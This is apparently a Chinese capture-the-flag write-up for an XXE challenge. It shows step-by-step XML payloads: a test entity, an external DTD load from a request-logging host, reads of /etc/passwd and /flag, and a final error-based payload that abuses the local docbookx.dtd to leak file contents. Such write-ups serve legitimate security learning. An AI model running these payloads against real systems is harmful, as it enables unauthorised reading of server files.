前言
xxe题,做的很少。
题解
某个师傅曾言
有json的地方就可能有xxe
这样提示需要声明元素message
声明下实体
<?xml version="1.0"?>
<!DOCTYPE message [
<!ELEMENT message (#PCDATA)>
<!ENTITY b "123401012350240234">
]>
<message>&b;</message>
请求成功。
这个网站可以创建个临时域名并保存对该域名的请求日志
尝试加载外部实体
<?xml version="1.0"?>
<!DOCTYPE message [
<!ENTITY b "123401012350240234">
<!ENTITY % remote-dtd SYSTEM "https://asdfasd.free.beeceptor.com/">
%remote-dtd;
]>
<message>&b;</message>
可惜加载失败
尝试加载内部文件
<?xml version="1.0"?>
<!DOCTYPE message [
<!ENTITY b "123401012350240234">
<!ENTITY % remote-dtd SYSTEM "/etc/passwd">
%remote-dtd;
]>
<message>&b;</message>
error detected in Markup declaration
在标记声明中检测到错误。
说明已经被加载了,但不是个格式正确的xml文件所以中断了。
加载/flag,报错一致,说明/flag文件存在,接下来就是考虑如何读取。
It works because all XML entities are constant. If you define two entities with the same name, only the first one will be used.
这能正常工作是因为xml实体都是常数,如果定义了两个实体为同一个名字,则只有第一个实体会被使用。
而在题目中,读取了一个错误的实体,会返回完整的实体名。
假设第一次读取**/flag实体,第二次把/flag的里的值当做实体来读取,明显/flag的里的值**这个实体不存在,然后就会报错返回,这样就拿到flag了。
利用系统自带的dtd文件。
payload
<?xml version="1.0"?>
<!DOCTYPE message[
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///aaaaa/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>